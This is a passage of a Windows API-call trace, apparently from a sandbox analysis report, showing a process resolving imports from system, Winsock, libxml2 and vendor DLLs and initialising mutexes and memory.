0x76b4c151 [0095.650] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0095.650] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0095.650] GetProcAddress (hModule=0x76b40000, lpProcName="time") returned 0x76b4f708 [0095.650] LoadLibraryA (lpLibFileName="trfo-2.dll") returned 0xe0000 [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfCrc32") returned 0xe17b7 [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfRc4Init") returned 0xe4cd3 [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfRc4Encrypt") returned 0xe4d2b [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfMd4") returned 0xe3e05 [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfMd5Init") returned 0xe3f8d [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfMd5Update") returned 0xe49b0 [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfMd5Final") returned 0xe4a4b [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfHmacMd5Init") returned 0xe30c0 [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfHmacMd5Update") returned 0xe317c [0095.651] GetProcAddress (hModule=0xe0000, lpProcName="TfHmacMd5Final") returned 0xe3181 [0095.651] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75360000 [0095.651] GetProcAddress (hModule=0x75360000, lpProcName=0xf) returned 0x75362d8b [0095.651] GetProcAddress (hModule=0x75360000, lpProcName=0xe) returned 0x75362d57 [0095.651] GetProcAddress (hModule=0x75360000, lpProcName=0x9) returned 0x75362d8b [0095.651] GetProcAddress (hModule=0x75360000, lpProcName=0xb) returned 0x7536311b [0095.651] GetProcAddress (hModule=0x75360000, lpProcName=0x73) returned 0x75363ab2 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x74) returned 0x75363c5f [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x1) returned 0x753668b6 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x3) returned 0x75363918 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0xa) returned 0x75363084 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x6f) returned 0x753637ad [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x13) returned 0x75366f01 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x14) returned 0x753634b5 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x10) returned 0x75366b0e [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x12) returned 0x75366989 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x11) returned 0x7536b6dc [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x70) returned 0x753637d9 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x4) returned 0x75366bdd [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0xd) returned 0x7536b001 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x6) returned 0x753630af [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x2) returned 0x75364582 [0095.652] GetProcAddress (hModule=0x75360000, lpProcName=0x17) returned 0x75363eb8 [0095.653] GetProcAddress (hModule=0x75360000, lpProcName=0x15) returned 0x753641b6 [0095.653] GetProcAddress (hModule=0x75360000, lpProcName=0x8) returned 0x75362d57 [0095.653] GetProcAddress (hModule=0x75360000, lpProcName=0xc) returned 0x7536b131 [0095.653] VirtualProtect (in: lpAddress=0x73c10000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x2) returned 1 [0095.653] VirtualProtect (in: lpAddress=0x73c10000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x4) returned 1 [0095.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xadf504 | out: lpSystemTimeAsFileTime=0xadf504*(dwLowDateTime=0x8f4004c0, dwHighDateTime=0x1d5ca1f)) [0095.653] GetCurrentProcessId () returned 0x108c [0095.653] GetCurrentThreadId () returned 0x1090 [0095.653] GetTickCount () returned 0x1160983 [0095.653] QueryPerformanceCounter (in: lpPerformanceCount=0xadf4fc | out: lpPerformanceCount=0xadf4fc*=23676313506) returned 1 [0095.653] malloc (_Size=0x80) returned 0xea11a8 [0095.687] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0095.687] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.687] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.687] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0095.687] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersionExA") returned 0x76e23519 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameA") returned 0x76e214b1 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0095.688] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryA") returned 0x76e249d7 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryA") returned 0x76e3b66c [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexA") returned 0x76e24c6b [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSection") returned 0x77352c42 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedIncrement") returned 0x76e21400 [0095.689] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0095.690] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringA") returned 0x76e4b2b7 [0095.690] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x76b40000 [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="fopen") returned 0x76b5b2c4 [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="toupper") returned 0x76b4f7fa [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="vfprintf") returned 0x76bb7408 [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="_vsnprintf") returned 0x76b4d1a8 [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="fclose") returned 0x76b53d79 [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0095.690] GetProcAddress (hModule=0x76b40000, lpProcName="strchr") returned 0x76b4dbeb [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="strtoul") returned 0x76b5012e [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="strtol") returned 0x76b6e8f0 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="_errno") returned 0x76b4a5b8 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="fwrite") returned 0x76b576ac [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="_wfopen") returned 0x76b5f3ac [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="_wstat") returned 0x76b94cc9 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="fread") returned 0x76b5f3c8 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="ferror") returned 0x76b54947 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="fflush") returned 0x76b54142 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="printf") returned 0x76b5c5b9 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="floor") returned 0x76b4f95f [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="fabs") returned 0x76b6eaa8 [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="labs") returned 0x76b6eb1e [0095.691] GetProcAddress (hModule=0x76b40000, lpProcName="_isnan") returned 0x76b49e12 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="_fpclass") returned 0x76b6e255 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="log10") returned 0x76b70d69 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="pow") returned 0x76b6608f [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="fmod") returned 0x76b687b7 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="isleadbyte") returned 0x76b4f76e [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="_itoa") returned 0x76b64218 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="wctomb") returned 0x76b922b7 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="__badioinfo") returned 0x76be3210 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="__pioinfo") returned 0x76be0500 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="_read") returned 0x76b5c245 [0095.692] GetProcAddress (hModule=0x76b40000, lpProcName="_fileno") returned 0x76b4ac15 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="_lseeki64") returned 0x76b54303 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="_write") returned 0x76b54078 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="_isatty") returned 0x76b4f383 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="fputc") returned 0x76bb87c3 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="_iob") returned 0x76be2900 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="_snprintf") returned 0x76b6fa7c [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="getenv") returned 0x76b5a419 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="_stat") returned 0x76b59857 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="fprintf") returned 0x76b53e00 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="_close") returned 0x76b53ae2 [0095.693] GetProcAddress (hModule=0x76b40000, lpProcName="_open") returned 0x76b67e48 [0095.694] GetProcAddress (hModule=0x76b40000, lpProcName="_getcwd") returned 0x76b6efff [0095.694] LoadLibraryA (lpLibFileName="WSOCK32.dll") returned 0x73be0000 [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0xc) returned 0x75363084 [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x97) returned 0x75366a8a [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x7) returned 0x73be186e [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x70) returned 0x753637d9 [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x38) returned 0x75376d62 [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0xf) returned 0x75362d8b [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x33) returned 0x75376c01 [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x37) returned 0x75376ef3 [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x8) returned 0x75362d57 [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0xb) returned 0x7536b131 [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x6f) returned 0x753637ad [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0xa) returned 0x7536311b [0095.694] GetProcAddress (hModule=0x73be0000, lpProcName=0x73) returned 0x75363ab2 [0095.695] GetProcAddress (hModule=0x73be0000, lpProcName=0x6) returned 0x753630af [0095.695] GetProcAddress (hModule=0x73be0000, lpProcName=0x2) returned 0x75364582 [0095.695] GetProcAddress (hModule=0x73be0000, lpProcName=0xd) returned 0x7536b001 [0095.695] GetProcAddress (hModule=0x73be0000, lpProcName=0x34) returned 0x75377673 [0095.695] GetProcAddress (hModule=0x73be0000, lpProcName=0x9) returned 0x75362d8b [0095.695] GetProcAddress (hModule=0x73be0000, lpProcName=0x17) returned 0x75363eb8 [0095.747] GetProcAddress (hModule=0x73be0000, lpProcName=0x4) returned 0x75366bdd [0095.747] GetProcAddress (hModule=0x73be0000, lpProcName=0x13) returned 0x75366f01 [0095.747] GetProcAddress (hModule=0x73be0000, lpProcName=0x12) returned 0x75366989 [0095.747] GetProcAddress (hModule=0x73be0000, lpProcName=0x10) returned 0x73be17a8 [0095.747] GetProcAddress (hModule=0x73be0000, lpProcName=0x3) returned 0x75363918 [0095.747] GetProcAddress (hModule=0x73be0000, lpProcName=0x74) returned 0x75363c5f [0095.747] VirtualProtect (in: lpAddress=0xc70000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x2) returned 1 [0095.747] VirtualProtect (in: lpAddress=0xc70000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x4) returned 1 [0095.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xadf504 | out: lpSystemTimeAsFileTime=0xadf504*(dwLowDateTime=0x8f4e4d00, dwHighDateTime=0x1d5ca1f)) [0095.747] GetCurrentProcessId () returned 0x108c [0095.747] GetCurrentThreadId () returned 0x1090 [0095.747] GetTickCount () returned 0x11609e1 [0095.747] QueryPerformanceCounter (in: lpPerformanceCount=0xadf4fc | out: lpPerformanceCount=0xadf4fc*=23685745777) returned 1 [0095.748] malloc (_Size=0x80) returned 0xea12b8 [0095.748] GetVersion () returned 0x1db10106 [0095.748] malloc (_Size=0x80) returned 0xea1340 [0095.752] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0095.752] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0095.752] VirtualProtect (in: lpAddress=0xc5015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x2) returned 1 [0095.752] VirtualProtect (in: lpAddress=0xc5015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x4) returned 1 [0095.752] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0095.752] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.752] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.752] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0095.752] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.752] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringA") returned 0x76e4b2b7 [0095.753] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.753] GetModuleHandleA (lpModuleName="libxml2.dll") returned 0xc70000 [0095.753] GetProcAddress (hModule=0xc70000, lpProcName="xmlNewNs") returned 0xcb1f85 [0095.753] GetProcAddress (hModule=0xc70000, lpProcName="xmlNewDoc") returned 0xcafa02 [0095.753] GetProcAddress (hModule=0xc70000, lpProcName="xmlSaveToBuffer") returned 0xccf396 [0095.753] GetProcAddress (hModule=0xc70000, lpProcName="xmlBufferCreate") returned 0xcb138d [0095.753] GetProcAddress (hModule=0xc70000, lpProcName="xmlCleanupParser") returned 0xc8e929 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlFreeMutex") returned 0xcae346 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlNewMutex") returned 0xcae323 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlInitParser") returned 0xc8e8b1 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlStrcmp") returned 0xd00d2f [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlFree") returned 0xd332a0 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlNodeGetContent") returned 0xcb29c0 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlGetProp") returned 0xcb11e4 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlMutexUnlock") returned 0xcae374 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlSearchNsByHref") returned 0xcb0d74 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlDocGetRootElement") returned 0xcb09b2 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlParseMemory") returned 0xc9c0b0 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlMutexLock") returned 0xcae361 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlFreeNode") returned 0xcb2397 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlNodeSetContent") returned 0xcb5f09 [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlNewProp") returned 0xcb223a [0095.754] GetProcAddress (hModule=0xc70000, lpProcName="xmlNewNode") returned 0xcafde1 [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlFreeDoc") returned 0xcb47fc [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlBufferFree") returned 0xcb14cf [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlSaveClose") returned 0xccf457 [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlFreeNs") returned 0xcaf77a [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlBufferContent") returned 0xcb169c [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlBufferLength") returned 0xcb16a8 [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlSaveFlush") returned 0xccf43c [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlSaveDoc") returned 0xcd0b54 [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlAddChild") returned 0xcb494c [0095.755] GetProcAddress (hModule=0xc70000, lpProcName="xmlReconciliateNs") returned 0xcb2b66 [0095.755] GetModuleHandleA (lpModuleName="tucl-1.dll") returned 0x73e30000 [0095.755] GetProcAddress (hModule=0x73e30000, lpProcName="TcLog") returned 0x73e3102d [0095.755] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0095.755] GetProcAddress (hModule=0x76b40000, lpProcName="strchr") returned 0x76b4dbeb [0095.755] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="sprintf") returned 0x76b5d354 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="strspn") returned 0x76b6869c [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="_access") returned 0x76b5a7ed [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="strtol") returned 0x76b6e8f0 [0095.756] GetProcAddress (hModule=0x76b40000, lpProcName="isspace") returned 0x76b4c395 [0095.757] GetProcAddress (hModule=0x76b40000, lpProcName="strtoul") returned 0x76b5012e [0095.757] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0095.757] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0095.757] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0095.757] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0095.757] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0095.757] GetProcAddress (hModule=0x76b40000, lpProcName="_errno") returned 0x76b4a5b8 [0095.757] GetProcAddress (hModule=0x76b40000, lpProcName="strcspn") returned 0x76b5d099 [0095.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xadf504 | out: lpSystemTimeAsFileTime=0xadf504*(dwLowDateTime=0x8f4e4d00, dwHighDateTime=0x1d5ca1f)) [0095.757] GetCurrentProcessId () returned 0x108c [0095.757] GetCurrentThreadId () returned 0x1090 [0095.757] GetTickCount () returned 0x11609e1 [0095.757] QueryPerformanceCounter (in: lpPerformanceCount=0xadf4fc | out: lpPerformanceCount=0xadf4fc*=23686712217) returned 1 [0095.757] malloc (_Size=0x80) returned 0xea24d8 [0095.757] malloc (_Size=0x18) returned 0xea13c8 [0095.757] malloc (_Size=0x4) returned 0xea13e8 [0095.758] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x3c [0095.758] GetCurrentThreadId () returned 0x1090 [0095.758] GetCurrentThreadId () returned 0x1090 [0095.758] GetCurrentThreadId () returned 0x1090 [0095.758] malloc (_Size=0x4) returned 0xea13f8 [0095.758] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x40 [0095.758] getenv (_VarName="XML_MEM_BREAKPOINT") returned 0x0 [0095.758] getenv (_VarName="XML_MEM_TRACE") returned 0x0 [0095.758] malloc (_Size=0xc8) returned 0xea2560 [0095.758] malloc (_Size=0x6) returned 0xea2630 [0095.758] malloc (_Size=0xc) returned 0xea2640 [0095.758] malloc (_Size=0x9) returned 0xea2658 [0095.758] malloc (_Size=0xc) returned 0xea2670 [0095.759] malloc (_Size=0x9) returned 0xea2688 [0095.759] malloc (_Size=0xc) returned 0xea26a0 [0095.759] malloc (_Size=0x7) returned 0xea26b8 [0095.759] malloc (_Size=0xc) returned 0xea26c8 [0095.759] malloc (_Size=0xb) returned 0xea26e0 [0095.759] malloc (_Size=0xc) returned 0xea26f8 [0095.759] malloc (_Size=0x6) returned 0xea2710 [0095.759] malloc (_Size=0xc) returned 0xea2720 [0095.760] malloc (_Size=0x9) returned 0xea2738 [0095.760] malloc (_Size=0xc) returned 0xea2750 [0095.760] malloc (_Size=0x5) returned 0xea2768 [0095.760] malloc (_Size=0xc) returned 0xea2778 [0095.760] GetCurrentThreadId () returned 0x1090 [0095.760] GetVersionExA (in: lpVersionInformation=0xadf40c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xea2558, dwMinorVersion=0xadf5e4, dwBuildNumber=0xc8, dwPlatformId=0x7734e026, szCSDVersion="Ð\x07ê") | out: lpVersionInformation=0xadf40c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0095.760] GetCurrentThreadId () returned 0x1090 [0095.760] malloc (_Size=0x4) returned 0xea2790 [0095.760] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x44 [0095.761] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0095.761] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0095.761] VirtualProtect (in: lpAddress=0x1000015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x2) returned 1 [0095.761] VirtualProtect (in: lpAddress=0x1000015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xadf4f4 | out: lpflOldProtect=0xadf4f4*=0x4) returned 1 [0095.761] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0095.761] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.761] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0095.762] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.762] GetProcAddress (hModule=0x76e10000, 